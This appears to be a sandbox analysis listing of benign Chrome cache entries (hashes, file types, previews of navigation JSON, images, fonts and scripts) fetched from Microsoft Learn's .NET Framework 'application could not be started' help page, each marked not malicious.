SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
